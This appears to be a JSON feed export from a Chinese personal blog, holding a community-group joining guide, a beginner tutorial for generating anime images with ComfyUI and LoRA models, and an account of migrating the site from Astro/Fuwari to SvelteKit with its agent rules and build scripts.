[{"content":"官方 Telegram群组 Telegram: Join Group Chat [2x.nz]\nQQ群 为什么仅QQ群需要赞助？因为QQ作为国内平台，很容易被内鬼举报致使封群，但相对的，门槛更低，交流更方便。当然，如果您是高级用户，可以加入非QQ群。\n请先 赞助 至少 10 CNY 后加群。赞助时建议留备注，加群问题填写你留的备注或者交易订单号 点击链接加入群聊【2x.nz】： QQ群\n非官方 粉丝自建\nTelegram: View @blog2x\n","permalink":"https://blog.2x.nz/posts/pin/","summary":"\u003ch1 id=\"官方\"\u003e官方\u003c/h1\u003e\n\u003ch2 id=\"telegram群组\"\u003eTelegram群组\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://t.me/+_07DERp7k1ljYTc1\"\u003eTelegram: Join Group Chat [2x.nz]\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"qq群\"\u003eQQ群\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e为什么仅QQ群需要赞助？因为QQ作为国内平台，很容易被内鬼举报致使封群，但相对的，门槛更低，交流更方便。当然，如果您是高级用户，可以加入非QQ群。\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e请先 \u003ca href=\"https://donate.2x.nz\"\u003e赞助\u003c/a\u003e 至少 \u003cstrong\u003e10 CNY\u003c/strong\u003e 后加群。赞助时建议留备注，加群问题填写你留的备注或者交易订单号\n点击链接加入群聊【2x.nz】： \u003ca href=\"https://qm.qq.com/q/I2Quch1uy6\"\u003eQQ群\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/pin/img/2025-08-15-03-24-11-image.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"非官方\"\u003e非官方\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e粉丝自建\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e\u003ca href=\"https://t.me/blog2x\"\u003eTelegram: View @blog2x\u003c/a\u003e\u003c/p\u003e","title":"加群向导"},{"content":"引言 曾经我写过一篇文章，记录了从零开始研究AI绘图的经历——当时把Stable Diffusion WebUI、Stable Diffusion Forge WebUI、ComfyUI全装了一遍，各种找教程、实操、试错。好在凭借着仅剩的记忆也是顺着这些蛛丝马迹把丢掉的知识找回来了。\n但那篇文章从现在看来，配置还是太麻烦了，并且有很多深层的东西没有讲清楚，只是教授了如何画 Danbooru 里已收录的角色。那么如果我想要画的角色很新或者没有收录呢？这期带你吃透AI绘图！\n在纯小白的情况下，你可以跑出类似下面的图！（跑不出来你打死我！）\n简单的思维风暴 在正式开始前，我们将会用到以下术语，这里会简单介绍都是做什么的：\nComfyUI：一个软件，是AI绘图控制台，你只需要在这里点点即可出图 checkpoint：一个底层的，作为基底的模型。可以直接用它开始绘图又或者搭配下面的Lora模型来绘图 LoRA：一个控制角色/风格的模型。可以通过载入不同的LoRA去画出不同的角色或风格 prompt：提示词，用以告知AI你想要画出什么样的东西 简单来说，这一切并不复杂，我们只需要首先挑选一个基底模型，如果你不挑或者你想画的角色正好就在其中，可以直接使用该角色的提示词作画。如果你想画不在其中的角色，只需要再载入一个LoRA模型即可。\n正式开始 下载ComfyUI 尽管ComfyUI支持AMD显卡以及纯CPU绘图，但还是建议使用 NVIDIA Cuda 进行绘图，更快，兼容性也更好！\n方式一：官方版（推荐） 前往 ComfyUI | 用AI生成视频、图像、音频 下载并安装，记得打开魔法或在设置中更改镜像源\n点击右下角的开始运行，先让他进行初始化，直到它自动打开你的浏览器并且可以正常进入ComfyUI的界面\n下载基底模型 大部分LoRA一般都需要这两个基底模型。其中 WAI 支持直接通过 Danbooru 里已有的角色直接作画，无需其他LoRA：\nWAI-illustrious-SDXL - v16.0 | Illustrious Checkpoint | Civitai 点击下载即可\n如果你需要下载LoRA 首先你要知道你想画的角色的英文名，如 Cartethyia （鸣潮 - 卡提希娅）\n然后前往 https://civitai.com/ 进行搜索，选择你喜欢的LoRA\n在详情页你可以看到该LoRA所需要的基底模型。有些时候模型的简介也会写\n下面的 Trigger Words 是推荐的 正向提示词 一般来说仅导入LoRA不写专有提示词也会有一定的效果\n放置模型 [!warning] 这里有一个坑点，对于桌面版安装的ComfyUI，请将模型放到你当时安装时选择的文件夹中，如： C:\\Users\\af\\Documents\\ComfyUI ，而不是形如 C:\\Users\\af\\AppData\\Local\\Programs\\ComfyUI\\resources\\ComfyUI 的地方，更多请参见官方文档： 重要提示：请勿修改 resource/ComfyUI 文件夹 - Windows桌面版 - ComfyUI\n打开 models 目录：\n将基底模型（类似 waiIllustriousSDXL_v160.safetensors）放入 checkpoints 文件夹 将LoRA模型放入 loras 文件夹 启动！开始画！ 启动 ComfyUI\n默认打开应该是空空如也，这边提供了一个起手式+LoRA的工作流，你可以直接导入：\n点我下载- 基础起手.json\n点我下载- 基础起手+Lora.json\n下载之后，点击左上角的ComfyUI图标，打开这个工作流\n接下来，你应该已经有了这些节点\n加载模型 这里加载基底模型，刷新ComfyUI后你应该可以在 Checkpoint加载器(简易) 处看到你放置的所有模型，选择带有 vPred... 的就是V预测模型\n这里加载LoRA（如果有）\n填写提示词 这里填写正/反向提示词，均为 英文 ，如果不会写就去找其他AI描述你要画什么，然后让它返回给你用以AI绘图的prompt\n如何找到角色的提示词？ 方式一：使用Danbooru角色标签（WAI专属）\nWAI模型的一大特色就是支持直接通过Danbooru里已有的角色直接作画！你想要画什么呢？比如崩铁的流萤？\n进入 Danbooru characters in NoobAI-XL (NAI-XL)\n搜索流萤的英文名 firefly 或者搜索 star rail 找到所有关于崩铁的角色\n复制 Prompt tags，然后将其粘贴进链接了正面条件的CLIP文本编码器\n这样角色预设就写好了！\n方式二：使用LoRA的Trigger Words\n如果你使用LoRA，直接复制详情页的Trigger Words即可。\n起手提示词推荐 我这里也提供了一些起手的提示词：\n正面条件：\nmasterpiece, best quality, newest, absurdres, highres 负面条件：\ntext, watermark, worst quality, old, early, low quality, lowres, signature, username, logo, bad hands, mutated hands, mammal, anthro, furry, ambiguous form, feral, semi-anthro 我们将其添加到ComfyUI，如下图：\n[!tip] 如果你想要图片是不同的样子请在正面提示词和反面提示词添加（必须为英文！不知道的用翻译或者问AI！）。比如想要让足部放到焦点上并且裸足就添加正面提示词：barefoot, feet in foreground 如果你想要要纯自然语言生图就继续往下看！\n设置图像尺寸 这里设置生成图片的分辨率，根据不同模型有不同的推荐分辨率：\nWAI推荐分辨率（总面积约为 1024x1024）：\n最推荐：832x1216 其余：768x1344、896x1152、1024x1024、1152x896、1216x832、1344x768、1024x1536、1536x1024 建议前往模型发布页查看相关推荐分辨率信息\n配置K采样器 这里控制生成参数（默认给你的就是一个不错的选择，如果不懂就不要动）\n种子：每次都是一个随机值，如果固定下来且其他内容无变化则会始终出相同的图 步数：即AI需要重绘多少次，过低会导致鬼图、崩图，过高可能会导致元素冗杂、饱和度过高。推荐：28-35 CFG：AI对你输入的提示词的服从度，越高则越服从，越低则画得越天马行空（忽略一些提示词） 推荐7-9 采样器名称：euler 降噪：AI生图的原理是将一张看起来像纯色图的图片一次次进行降噪来得到最终产物，该值设置得越低，则图片越不清楚、混杂，越高则越清晰，但更会出现过度锐利或过度解析 开启实时预览 为了确保在生图的时候我们不无聊，可以前往设置开启实时预览功能，将 实时预览 改为 自动 即可\n运行生成 接下来点击右上角的运行，哦对了，你还可以编辑旁边的数字来一次性生成多张图片\n由于我们开启了实时预览，你可以看到模型每一步的绘画进度\n点击右上角的资产，可以展开，查看大图\n所有生成的图片都可以在 output 文件夹看到\n如果你想画其他角色也只需要：找LoRA，写推荐提示词，开跑！\n常见问题与技巧 AI生成的图片随机性较强：每一次生成的图片都不太一样，多试试！\n避免生成涩图：可以在负面提示词添加 NSFW，在正面提示词添加 safe\n参考资源：更多WAI模型的技巧可以到Civitai模型页面的About查看 新章：纯中文自然语言生图！ [!warning] 需要一个大显存（\u0026gt;8G）的图形显示卡\n思路 现在LLM这么发达，我们为什么不能使用LLM将我们输入的 中文句子 翻译为生图模型能看懂的 英文 Tag 呢？\n当然可以，于是该项目应运而生了！\nhttps://github.com/afoim/natureDrawImage\n通过在本地启动LM Studio（或Ollama，其他的在线LLM\u0026hellip;），做 中文 -\u0026gt; 英文 Tag 的转换，最后再传给生图模型，即可实现 纯中文的生图！\n搭建 [!tip] 推荐拉取仓库后直接询问AI如何部署该项目。后文只做项目特殊点阐述\n项目采用工作流形式来模仿 Stable Diffusion 的模板。你需要手动制作多个工作流来跑不同角色（Lora），或者创建一个通配工作流来跑Danbooru角色（无Lora）\n项目启动后会读取你的本地工作流，选择其一后即可开跑\n其余概述参见仓库 README 由于文章具有时效性，如果有不懂的地方建议询问AI\n","permalink":"https://blog.2x.nz/posts/ai-wife/","summary":"\u003ch1 id=\"引言\"\u003e引言\u003c/h1\u003e\n\u003cp\u003e曾经我写过一篇文章，记录了从零开始研究AI绘图的经历——当时把Stable Diffusion WebUI、Stable Diffusion Forge WebUI、ComfyUI全装了一遍，各种找教程、实操、试错。好在凭借着仅剩的记忆也是顺着这些蛛丝马迹把丢掉的知识找回来了。\u003c/p\u003e\n\u003cp\u003e但那篇文章从现在看来，配置还是太麻烦了，并且有很多深层的东西没有讲清楚，只是教授了如何画 Danbooru 里已收录的角色。那么如果我想要画的角色很新或者没有收录呢？这期带你吃透AI绘图！\u003c/p\u003e\n\u003cp\u003e在纯小白的情况下，你可以跑出类似下面的图！（跑不出来你打死我！）\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"2025-05-13-11-59-50-ComfyUI_00016_.webp\" loading=\"lazy\" src=\"/posts/ai-wife/img/2025-05-13-11-59-50-ComfyUI_00016_.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"2025-05-13-12-00-37-ComfyUI_00011_.webp\" loading=\"lazy\" src=\"/posts/ai-wife/img/2025-05-13-12-00-37-ComfyUI_00011_.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"简单的思维风暴\"\u003e简单的思维风暴\u003c/h1\u003e\n\u003cp\u003e在正式开始前，我们将会用到以下术语，这里会简单介绍都是做什么的：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eComfyUI\u003c/strong\u003e：一个软件，是AI绘图控制台，你只需要在这里点点即可出图\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003echeckpoint\u003c/strong\u003e：一个底层的，作为基底的模型。可以直接用它开始绘图又或者搭配下面的Lora模型来绘图\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLoRA\u003c/strong\u003e：一个控制角色/风格的模型。可以通过载入不同的LoRA去画出不同的角色或风格\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eprompt\u003c/strong\u003e：提示词，用以告知AI你想要画出什么样的东西\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e简单来说，这一切并不复杂，我们只需要首先挑选一个基底模型，如果你不挑或者你想画的角色正好就在其中，可以直接使用该角色的提示词作画。如果你想画不在其中的角色，只需要再载入一个LoRA模型即可。\u003c/p\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003ch2 id=\"下载comfyui\"\u003e下载ComfyUI\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e尽管ComfyUI支持AMD显卡以及纯CPU绘图，但还是建议使用 \u003cstrong\u003eNVIDIA Cuda\u003c/strong\u003e 进行绘图，更快，兼容性也更好！\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch3 id=\"方式一官方版推荐\"\u003e方式一：官方版（推荐）\u003c/h3\u003e\n\u003cp\u003e前往 \u003ca href=\"https://www.comfy.org/zh-cn/\"\u003eComfyUI | 用AI生成视频、图像、音频\u003c/a\u003e 下载并安装，记得打开魔法或在设置中更改镜像源\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/ai-wife/img/ai-wife.png\"\u003e\u003c/p\u003e\n\u003cp\u003e点击右下角的开始运行，先让他进行初始化，直到它自动打开你的浏览器并且可以正常进入ComfyUI的界面\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"2025-05-13-12-06-57-image.webp\" loading=\"lazy\" src=\"/posts/ai-wife/img/2025-05-13-12-06-57-image.webp\"\u003e\u003c/p\u003e\n\u003ch2 id=\"下载基底模型\"\u003e下载基底模型\u003c/h2\u003e\n\u003cp\u003e大部分LoRA一般都需要这两个基底模型。其中 WAI 支持直接通过 Danbooru 里已有的角色直接作画，无需其他LoRA：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://civitai.com/models/827184/wai-illustrious-sdxl\"\u003eWAI-illustrious-SDXL - v16.0 | Illustrious Checkpoint | Civitai\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e点击下载即可\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/ai-wife/img/index-1.png\"\u003e\u003c/p\u003e\n\u003ch3 id=\"如果你需要下载lora\"\u003e如果你需要下载LoRA\u003c/h3\u003e\n\u003cp\u003e首先你要知道你想画的角色的英文名，如 \u003cstrong\u003eCartethyia\u003c/strong\u003e （鸣潮 - 卡提希娅）\u003c/p\u003e\n\u003cp\u003e然后前往 \u003ca href=\"https://civitai.com/\"\u003ehttps://civitai.com/\u003c/a\u003e 进行搜索，选择你喜欢的LoRA\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/ai-wife/img/ai-wife-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e在详情页你可以看到该LoRA所需要的基底模型。有些时候模型的简介也会写\u003c/p\u003e\n\u003cp\u003e下面的 \u003cstrong\u003eTrigger Words\u003c/strong\u003e 是推荐的 \u003cstrong\u003e正向提示词\u003c/strong\u003e 一般来说仅导入LoRA不写专有提示词也会有一定的效果\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/ai-wife/img/ai-wife-2.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"放置模型\"\u003e放置模型\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[!warning]\n这里有一个坑点，对于桌面版安装的ComfyUI，请将模型放到你当时安装时选择的文件夹中，如： \u003ccode\u003eC:\\Users\\af\\Documents\\ComfyUI\u003c/code\u003e ，而不是形如 \u003ccode\u003eC:\\Users\\af\\AppData\\Local\\Programs\\ComfyUI\\resources\\ComfyUI\u003c/code\u003e 的地方，更多请参见官方文档： \u003ca href=\"https://docs.comfy.org/zh-CN/installation/desktop/windows#%E9%87%8D%E8%A6%81%E6%8F%90%E7%A4%BA%EF%BC%9A%E8%AF%B7%E5%8B%BF%E4%BF%AE%E6%94%B9-resource/comfyui-%E6%96%87%E4%BB%B6%E5%A4%B9\"\u003e重要提示：请勿修改 resource/ComfyUI 文件夹 - Windows桌面版 - ComfyUI\u003c/a\u003e\u003c/p\u003e","title":"手把手教你跑一个二次元AI老婆！另附自然语言生图教程！"},{"content":"为什么要重构为纯Svelte？ 这实际上是个复杂的问题。在2024年选择Fuwari作为本站框架实际上只是一个巧合，当时并没有顾虑到后续开发的问题，我当时甚至是从 Hugo/PaperMod 这种明显比Astro高效的框架迁移过来的。当时选择Fuwari只有一个原因：好看\n我们可以来简单看一看Fuwari Demo Site\n放眼望去，第一个感觉就是大。相比于传统的博客站，Fuwari的设计语言明显是更现代，更灵动的，因为Fuwari还采用了Swup来做SPA页切，这使得网站从一开始的进入，再到用户主动切换页面，都是非常丝滑流畅的\n另外，由于它基于Astro SSG，这使得它的SEO也是非常棒的，所有页面都是静态的HTML，无需服务端介入，即可同时实现：美观、SEO良好、快速 的博客站\n可见，我一直都在夸Fuwari，那我为什么要换掉它呢？\n实际上，并不是Fuwari不好，而是本站渐渐从一个 纯静态博客站 逐渐变为了 重客户端的全栈 ，尤其是2026年上半年，我们添加了非常多根本不属于静态博客的东西\n如果说在博客上扔个课表还是一个方便自己的快捷方式，勉强算合理\n那么在博客上扔一个 论坛 则是一个完全改变项目定位的做法，Astro SSG并不擅长处理全栈，所以便使用了 @astrojs/svelte 来实现这种重客户端交互的页面\n但是做着做着便发现不对劲了。由于 Fuwari 使用 Swup 来操作页切，而经过我们长达2年的魔改，Astro 引以为傲的 island 我们根本没用，大部分页面都是采用的传统的监听器，页面上哪些是全局JS？哪些是只需要加载一次的JS？哪些又是持久化的JS？\n我不知道，所以这导致在后续开发十分痛苦。经常会出现新做了一个页面，第一次进去正常，然后被Swup接管后，来回切几次，页面布局就崩了，某些关键DOM被抽走了\n这并不是一个新问题，而是一个遗留问题，由于在2024年我刚使用该项目的时候并不具备这些基础，慢慢的，聚沙成塔，聚史成山。如果现在想要将这些诡异的写法通通移除，无异于重写Fuwari的渲染器，需要分析并重构200+文件，近w行代码\n我改不动，于是在忍无可忍的时候，我采用了头痛砍头，脚痛砍脚的方式。\n既然没法重构，那直接不用Swup了，全部删了，这总很简单吧？\n的确，就像脱衣服简单穿衣服难，删除Swup非常简单，如果你不追求工业级剔除，只需要在Astro中禁用Swup，并全局拦截Swup的load即可\n但是\u0026hellip;代价是什么呢？代价就是一旦没有了Swup，网站将不再是SPA，所有的页面切换都需要 完整重新拉取 一份新的HTML替换当前页面。就像大学编程课写的那些 1.html 2.html 然后使用 a 标签跳转那样\n这会导致两个问题，第一个问题是显而易见的，用户会发现，在页面切换的时候好像变得古典了，点完超链接跳转后会有一瞬间白屏，然后内容才会慢慢加载出来，而且我单页上的JS本来就很多，这会导致你无论前往何页面，都会看到页面上 砰砰砰 逐步加载出：文章，课程表，直播状态，访问量\n它十分割裂，且用户体验极差。同时，它也会导致第二个问题，那就是资源浪费。假设用户只想点开一篇文章阅读，无SPA的页面会将新HTML完全替换旧的HTML。这不仅会导致页面重新加载拖慢了浏览器的性能，由于我们接入了访问量回显以及各式各样的客户端探针。这些东西本身只需要在一个用户会话中加载一遍，但由于无SPA，会导致重复加载这些内容，这无疑隐性提高了后端服务器的负载\n想一下你进入首页，加载首页8篇文章的访问量，加载一个课程表组件，再查询一下二叉树树当前是否开播，好，加载完了。接下来，点进一篇文章，那么就又要加载一下这个文章的访问量，同时，加载一个课程表组件，再查询一下二叉树树当前是否开播，好，加载完了。最后，你看完文章了，想回到首页看其他文章，你点击了首页按钮，跳转到首页，此时页面又会重新加载首页8篇文章的访问量，加载一个课程表组件，再查询一下二叉树树当前是否开播，好，加载完了。\n是不是光看着就要力竭了？实际上浏览器和后端服务器比你更力竭。这些内容原本应该遵循 按需加载 。如课程表组件加载完成后就持久化，当你点进某篇文章浏览量应该是立即显示的，因为上一个页面是文章列表，肯定已经得到浏览量了，无需再次获取\u0026hellip;\n诸如此类的问题导致后续的开发虽然很爽，但是用户体验很烂，调研问卷有大多数反馈国内网络加载慢的问题。这就是因为没有SPA，所有页面都需要完整拉取HTML，由于我们的服务器在Cloudflare，尽管已经优选，但可能还是较慢。如果是SPA，只需拉取新的内容，并且也不会触发浏览器的重加载。不管是在实际资源加载还是用户体感都是更快的\n然后，便是Astro臭名昭著的内建图片压缩，我曾经在 禁用Astro跟弱智一般的静态构建图像优化 - 《二叉树树》官方网站 写过如何禁用它，因为它不仅将所有压缩压力都传递给了CICD，而且它的结果也不尽人意，有时候，甚至会反向压缩\n如何禁用它呢？可以，但很诡异，要不你将图片放到 /public 目录，Astro就不会管他了，但是编辑器就不认图了。要不你就写一个补丁，在源码层面将Astro图片压缩的代码剔除（旧站就是这么做的）。总之，Astro就是强制爱，就是不管怎样都想看看你的图片，顺便用Shrap一压，欸！一不小心压少了，压多了2kb\n再接着，经过这几个月的超级周边功能开发，我们实现了一堆奇奇怪怪的功能\n而这些功能无一例外都是 Svelte 。这更代表了整个项目已经被 Svelte 架空了，那么，不如贯彻到底，直接把Astro丢了吧？\n迁移！抉择架构！ 那么既然要迁移，一开始我其实并没有直接就开一个新的Svelte项目，而是在参考各大框架，比如 Next.js，Nuxt.js，Vue 等。但最终还是用了Svelte，准确来说，是SvelteKit\n最主要的原因就是本身旧项目里的大部分组件就已经是Svelte写的了，如果换语言，无疑是需要跨语言重构的，多一事不如少一事\n好，我们现在已经确定了新项目的框架，这就等于有了一栋楼的基底和骨架，那么这栋楼应该长什么样子呢？\n我首先就想到了曾经开发独立论坛所用的UI组件库：shadcn 。它是个老牌，企业级的，现代的，包括Vercel在内的各大厂都在使用的一套UI组件库\n不过原生的shadcn是和Next.js一起出来的，所以它的写法是JSX，有虚拟DOM，而SvelteKit没有虚拟DOM，也不用JSX\n好在，Svelte有专门适配和优化过的shadcn：The Foundation for your Design System - shadcn-svelte ，那么，UI也敲定了，我们就可以开始重构我们的站点并迁移了\n约束！防止史山！ 接下来，我首先将 https://github.com/afoim/fuwari 仓库的状态转为 公共存档（Public Archive） 一方面，这么做能防止有新的贡献者在新旧站点迁移期间提交，另一方面，也可以为旧站点画上一个休止符，以此时的状态为锚点，将新站尽量无损实现旧站的所有功能\n然后，创建一个新的仓库 https://github.com/afoim/svaf ，它的命名非常简单 svelteacofork\n不过这都不重要，为了迁移顺利，我们需要编写一个特制的 AGENTS.MD 。让我们的AI不要废话，不要一通乱改，而是有条理的，可回滚的，高效率的增量式提交\n由于我们所做的事情在整个迁移的生命周期看来基本都是无用功，因为你实际上是把搭好的房子拍张照，然后全拆掉，再重建一遍\n没有新功能，要熟悉新的语言，但最终可能会获得一些性能或者开发爽感上的提升。不过，这也是重构的魅力所在\n所以，我制定了以下规则\n# AI Agent 开发规则 ## 核心原则 - **效率至上**：快速单元式开发 - **不写文档**：只写代码，不创建 README、GUIDE 等文档文件 - **改完即退**：完成代码修改后立即退出，用户会手动测试 - **单元提交**：每个功能/修改单独提交到 Git - **闭嘴**：非用户要求不输出任何内容，静默更改代码完毕后直接退出 ## 工作流程 1. 理解需求 2. 编写/修改代码 3. 创建 Git 提交 4. 退出（不等待测试结果） ## 提交规范 - `feat:` - 新功能 - `fix:` - 修复 bug - `refactor:` - 代码重构 - `style:` - 样式调整 - `perf:` - 性能优化 - `chore:` - 构建/工具/配置更新 接下来，就是几乎无尽的循环：分析 -\u0026gt; 拆解 -\u0026gt; 重构 -\u0026gt; 测试 -\u0026gt; 提交\n不过，只要你有耐心，这都只是时间问题\nSvelteKit更像毛坯房 在迁移过程到一定进度的时候，我发现项目似乎在往一些奇怪的地方发展\n由于习惯了Astro/Fuwari那种内置MD渲染，内置RSS，内置Sitemap，内置内容集合，内置重定向等等\n而SvelteKit是一个毛坯房。它只给你一个简易的响应式组件写法，接下来的一切都需要你自己实现\n不过，并不都是坏事，只要你有能力，更自由的开发模式总是更好的\n对于 MarkDown 渲染，对于静态文章页面，我们应当使用Svelte推荐的 mdsvex 来实现构建时渲染。而对于论坛，我们可以使用 markdown-it 来实现客户端运行时的实时渲染\n而RSS和Sitemap从0实现都根本不难，更不要说还有诸多现成的NPM包了，都是小问题\n而最头疼的实际上是 存图 。在Astro中，src/content 下存放的内容被视为内容集合，比如说你在 src/content/assets/images 存放的图片可以被 src/content/posts/test.md 通过相对路径 ../assets/images/test.jpg 被引用。Astro非常聪明，它会将被引用的图片通过内置的Sharp压缩器转换为Webp，减少最终用户的拉取时间，并将其存放至 _astro 目录下\n尽管我在刚刚曾喷过它，但不得不说，这个思路确实很好，因为我们在编写文章的时候，图片来源可能是千奇百怪的，有可能会从某高清壁纸网站上拉取一个 .png 格式的图片，再通过截图工具截取本地窗口，传入 .webp 格式的截图，最后用手机拍一张照片，传入 .jpg 格式的照片\n如果我们不经过统一压缩，直接发布，这会导致用户瞬间就能看到那张截图，过一会看到了一亿像素的手机拍的照片，最终，等待几十秒，加载出那张高清壁纸\n这很割裂，所以，我们需要对图片进行压缩，而且，我们是一个静态博客，完全有能力去压缩，但绝对不是Astro那种只要有一点点变化就让CICD全量压缩，而且，压缩率还低得令人发指\n顺便的，我们将图片存储改为了 Zola 的形式，不用 src/content/posts/test.md，而是 src/content/posts/test/index.md 这样我们就可以在 Obsidian 这样设置，将图片存入 src/content/posts/test/img/test.jpg 。\n这样做的好处是不会出现一个文件夹存放着所有的图片，而且想找哪篇文章的图片就直接去对应文章的目录去找即可\n最终，我们创建了一个脚本，它在 SvelteKit 构建成功后运行，目的就是将文章中所有已链接的相对路径本地图片通过 Sharp 全部转为 .avif （avif相比webp有更高的压缩率，现代浏览器已广泛支持）接着复制到构建产物文件夹中，最后批量改写构建产物文件夹中所有文章的相对图片路径，保证不404\n同时，它在压缩的时候会缓存已压缩的图片，众所周知，并不是每次推送提交都更新了图片，也并不是每次撰写文章都会把所有图片都重写一遍，所以我们完全可以在初次用自己的电脑全量跑一次压缩，然后将压缩后的图片也上传到Github，最终CICD的每次构建尽管也会跑压缩逻辑，但那是增量的，只要你没动图片，他就不会做无用功\n效果是立竿见影的。在旧站，一次全量的图片压缩需要几分钟\n而新站，开启增量图片压缩后也仅需1分钟左右\n再接下来，是重定向。由于SvelteKit并不像Astro一样支持直接在类似 astro.config.mjs 里配置静态重定向\n不过这也是个好处，我们可以自己写一个Vite插件来创建静态重定向，并自定义重定向页面\n除此之外，还有一个坑。对于友链和赞助列表，需要使用预渲染，我们还需要自定义一个脚本来在构建时将json内容反序列化写入静态的HTML中\n另外，我们还要创建一点简单的外围插件，支持快捷创建文章等功能。最终，我们的 package.json 中的 scripts 块非常魔幻，不过，它能用，效率很高，这就够了\n\u0026#34;scripts\u0026#34;: { \u0026#34;dev\u0026#34;: \u0026#34;vite dev\u0026#34;, \u0026#34;build\u0026#34;: \u0026#34;node scripts/generate-data.js \u0026amp;\u0026amp; vite build \u0026amp;\u0026amp; node scripts/post-images.js\u0026#34;, \u0026#34;preview\u0026#34;: \u0026#34;vite preview\u0026#34;, \u0026#34;prepare\u0026#34;: \u0026#34;svelte-kit sync || echo \u0026#39;\u0026#39;\u0026#34;, \u0026#34;new-post\u0026#34;: \u0026#34;node scripts/new-post.js\u0026#34;, \u0026#34;check\u0026#34;: \u0026#34;svelte-kit sync \u0026amp;\u0026amp; svelte-check --tsconfig ./tsconfig.json\u0026#34;, \u0026#34;check:watch\u0026#34;: \u0026#34;svelte-kit sync \u0026amp;\u0026amp; svelte-check --tsconfig ./tsconfig.json --watch\u0026#34;, \u0026#34;deploy\u0026#34;: \u0026#34;pnpm build \u0026amp;\u0026amp; wrangler deploy \u0026amp;\u0026amp; echo \\\u0026#34;Tips: 若该次发布为文章更新，请手动组织一次携带文章的Git提交并推送到远端仓库\\\u0026#34;\u0026#34; }, flowchart TD cr(开始) --\u003e |克隆Github仓库|np np(使用 pnpm new-post xxx 创建新文章) --\u003e |Obsidian 撰写文章|wp(src/content/posts/test/index.md) --\u003e |Obsidian 粘贴图片|wi(src/content/posts/test/img/test.jpg)--\u003e |创建本地提交|gp(推送到Github) --\u003e |触发 CICD 流水线|build(构建站点) --\u003e |构建完成|mi(压缩图片为Avif) --\u003e |写入图片压缩缓存|ic(.images-cache) --\u003e |将压缩后的图片复制到构建产物文件夹|id(build/posts/test/img/test.avif) --\u003e |替换HTML内的图片引用链接|ml(build/posts/test/index.html) --\u003e |其他步骤|more(...) gp --\u003e |Github WebHook|bot(触发Bot后端文章更新提醒) --\u003e |发送消息|qt(Q群，TG群提醒文章更新) bot --\u003e |Bot WebHook|fb(论坛后端文章提醒) --\u003e |发送邮件给已订阅文章更新的客户|f(论坛后端收到文章更新) more --\u003e |发布新页面|npa(2x.nz/posts/test/) qt --\u003e |提醒用户文章更新|npa f --\u003e |提醒用户文章更新|npa 最后看一下图一乐的Lighthouse\n","permalink":"https://blog.2x.nz/posts/astro-to-svelte/","summary":"\u003ch1 id=\"为什么要重构为纯svelte\"\u003e为什么要重构为纯Svelte？\u003c/h1\u003e\n\u003cp\u003e这实际上是个复杂的问题。在2024年选择Fuwari作为本站框架实际上只是一个巧合，当时并没有顾虑到后续开发的问题，我当时甚至是从 Hugo/PaperMod 这种明显比Astro高效的框架迁移过来的。当时选择Fuwari只有一个原因：\u003cstrong\u003e好看\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e我们可以来简单看一看Fuwari Demo Site\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/astro-to-svelte/img/index.png\"\u003e\u003c/p\u003e\n\u003cp\u003e放眼望去，第一个感觉就是大。相比于传统的博客站，Fuwari的设计语言明显是更现代，更灵动的，因为Fuwari还采用了Swup来做SPA页切，这使得网站从一开始的进入，再到用户主动切换页面，都是非常丝滑流畅的\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/astro-to-svelte/img/msedge_j3Hr8CjoVV.gif\"\u003e\u003c/p\u003e\n\u003cp\u003e另外，由于它基于Astro SSG，这使得它的SEO也是非常棒的，所有页面都是静态的HTML，无需服务端介入，即可同时实现：\u003cstrong\u003e美观、SEO良好、快速\u003c/strong\u003e 的博客站\u003c/p\u003e\n\u003cp\u003e可见，我一直都在夸Fuwari，那我为什么要换掉它呢？\u003c/p\u003e\n\u003cp\u003e实际上，并不是Fuwari不好，而是本站渐渐从一个 \u003cstrong\u003e纯静态博客站\u003c/strong\u003e 逐渐变为了 \u003cstrong\u003e重客户端的全栈\u003c/strong\u003e ，尤其是2026年上半年，我们添加了非常多根本不属于静态博客的东西\u003c/p\u003e\n\u003cp\u003e如果说在博客上扔个课表还是一个方便自己的快捷方式，勉强算合理\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/astro-to-svelte/img/index-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e那么在博客上扔一个 \u003cstrong\u003e论坛\u003c/strong\u003e 则是一个完全改变项目定位的做法，Astro SSG并不擅长处理全栈，所以便使用了 \u003ccode\u003e@astrojs/svelte\u003c/code\u003e 